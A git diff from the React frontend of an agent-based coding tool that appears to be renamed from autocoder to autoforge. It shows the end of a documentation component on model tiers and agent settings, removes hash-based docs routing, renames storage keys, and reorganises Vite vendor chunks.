||||
<p className="text-muted-foreground mb-3">
|
||||
Choose which Claude model tier to use for your agents:
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">Tier</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Characteristics
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="default">Opus</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Most capable, highest quality</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="secondary">Sonnet</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Balanced speed and quality</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="outline">Haiku</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Fastest, most economical</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground mt-4">
|
||||
<li>Model can be set globally in settings</li>
|
||||
<li>Per-schedule model override is also available</li>
|
||||
<li>
|
||||
When using Vertex AI, model names use{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">@</span> instead of{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">-</span> (e.g.,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
claude-opus-4-5@20251101
|
||||
</span>
|
||||
)
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Regression Agents */}
|
||||
<h3 id="regression-agents" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Regression Agents
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Controls how many testing agents run alongside coding agents (0–3):
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
<strong className="text-foreground">0:</strong> No regression testing (like YOLO but coding agents
|
||||
still test their own feature)
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">1:</strong> One testing agent runs in background verifying
|
||||
completed features
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">2–3:</strong> Multiple testing agents for thorough
|
||||
verification
|
||||
</li>
|
||||
<li>Testing agents batch-test 1–5 features per session</li>
|
||||
</ul>
|
||||
|
||||
{/* Features per Agent / Batch Size */}
|
||||
<h3 id="features-per-agent" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Features per Agent (Batch Size)
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Controls how many features each coding agent implements per session (1–3):
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
<strong className="text-foreground">1:</strong> One feature per session (most focused, lower risk of
|
||||
conflicts)
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">2–3:</strong> Multiple features per session (more efficient,
|
||||
fewer session startups)
|
||||
</li>
|
||||
<li>
|
||||
Set via settings UI or the{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">--batch-size</span> CLI flag
|
||||
</li>
|
||||
<li>
|
||||
Can also target specific features:{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">--batch-features 1,2,3</span>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Concurrency */}
|
||||
<h3 id="concurrency-setting" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Concurrency
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Per-project default concurrency saved in project settings</li>
|
||||
<li>Override at runtime with the concurrency slider in agent controls</li>
|
||||
<li>
|
||||
Range: <Badge variant="secondary">1–5</Badge> concurrent coding agents
|
||||
</li>
|
||||
<li>Higher concurrency = faster progress but more API cost</li>
|
||||
</ul>
|
||||
|
||||
{/* How Settings are Persisted */}
|
||||
<h3 id="settings-persistence" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
How Settings are Persisted
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Global settings stored in SQLite registry at{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">~/.autocoder/registry.db</span>
|
||||
</li>
|
||||
<li>Per-project settings (like default concurrency) stored in the project registry entry</li>
|
||||
<li>UI settings (theme, dark mode) stored in browser localStorage</li>
|
||||
<li>Settings survive app restarts and are shared across UI sessions</li>
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -59,7 +59,7 @@ function DialogContent({
|
||||
<DialogPrimitive.Content
|
||||
data-slot="dialog-content"
|
||||
className={cn(
|
||||
"bg-background data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 outline-none sm:max-w-lg",
|
||||
"bg-background data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] max-h-[calc(100vh-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 outline-none overflow-y-auto sm:max-w-lg",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
|
||||
@@ -1,36 +0,0 @@
|
||||
import { useState, useEffect, useCallback } from 'react'
|
||||
|
||||
export type Route = 'app' | 'docs'
|
||||
|
||||
interface HashRouteState {
|
||||
route: Route
|
||||
section: string | null
|
||||
navigate: (hash: string) => void
|
||||
}
|
||||
|
||||
function parseHash(hash: string): { route: Route; section: string | null } {
|
||||
const cleaned = hash.replace(/^#\/?/, '')
|
||||
if (cleaned === 'docs' || cleaned.startsWith('docs/')) {
|
||||
const section = cleaned.slice(5) || null // Remove 'docs/' prefix
|
||||
return { route: 'docs', section }
|
||||
}
|
||||
return { route: 'app', section: null }
|
||||
}
|
||||
|
||||
export function useHashRoute(): HashRouteState {
|
||||
const [state, setState] = useState(() => parseHash(window.location.hash))
|
||||
|
||||
useEffect(() => {
|
||||
const handleHashChange = () => {
|
||||
setState(parseHash(window.location.hash))
|
||||
}
|
||||
window.addEventListener('hashchange', handleHashChange)
|
||||
return () => window.removeEventListener('hashchange', handleHashChange)
|
||||
}, [])
|
||||
|
||||
const navigate = useCallback((hash: string) => {
|
||||
window.location.hash = hash
|
||||
}, [])
|
||||
|
||||
return { ...state, navigate }
|
||||
}
|
||||
@@ -52,8 +52,8 @@ export const THEMES: ThemeOption[] = [
|
||||
}
|
||||
]
|
||||
|
||||
const THEME_STORAGE_KEY = 'autocoder-theme'
|
||||
const DARK_MODE_STORAGE_KEY = 'autocoder-dark-mode'
|
||||
const THEME_STORAGE_KEY = 'autoforge-theme'
|
||||
const DARK_MODE_STORAGE_KEY = 'autoforge-dark-mode'
|
||||
|
||||
function getThemeClass(themeId: ThemeId): string {
|
||||
switch (themeId) {
|
||||
|
||||
@@ -1,11 +1,8 @@
|
||||
import { StrictMode } from 'react'
|
||||
import { createRoot } from 'react-dom/client'
|
||||
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
|
||||
import { useHashRoute } from './hooks/useHashRoute'
|
||||
import App from './App'
|
||||
import { DocsPage } from './components/docs/DocsPage'
|
||||
import './styles/globals.css'
|
||||
// Note: Custom theme removed - using shadcn/ui theming instead
|
||||
|
||||
const queryClient = new QueryClient({
|
||||
defaultOptions: {
|
||||
@@ -16,16 +13,10 @@ const queryClient = new QueryClient({
|
||||
},
|
||||
})
|
||||
|
||||
function Router() {
|
||||
const { route } = useHashRoute()
|
||||
if (route === 'docs') return <DocsPage />
|
||||
return <App />
|
||||
}
|
||||
|
||||
createRoot(document.getElementById('root')!).render(
|
||||
<StrictMode>
|
||||
<QueryClientProvider client={queryClient}>
|
||||
<Router />
|
||||
<App />
|
||||
</QueryClientProvider>
|
||||
</StrictMode>,
|
||||
)
|
||||
|
||||
@@ -26,11 +26,23 @@ export default defineConfig({
|
||||
'vendor-flow': ['@xyflow/react', 'dagre'],
|
||||
// Terminal emulator
|
||||
'vendor-xterm': ['@xterm/xterm', '@xterm/addon-fit', '@xterm/addon-web-links'],
|
||||
// UI components
|
||||
'vendor-ui': [
|
||||
// UI components - Radix UI
|
||||
'vendor-radix': [
|
||||
'@radix-ui/react-checkbox',
|
||||
'@radix-ui/react-dialog',
|
||||
'@radix-ui/react-dropdown-menu',
|
||||
'@radix-ui/react-label',
|
||||
'@radix-ui/react-separator',
|
||||
'@radix-ui/react-slot',
|
||||
'@radix-ui/react-switch',
|
||||
],
|
||||
// Icons and utilities
|
||||
'vendor-utils': [
|
||||
'lucide-react',
|
||||
'canvas-confetti',
|
||||
'class-variance-authority',
|
||||
'clsx',
|
||||
'tailwind-merge',
|
||||
],
|
||||
},
|
||||
},
|
||||
|
||||
Reference in New Issue
Block a user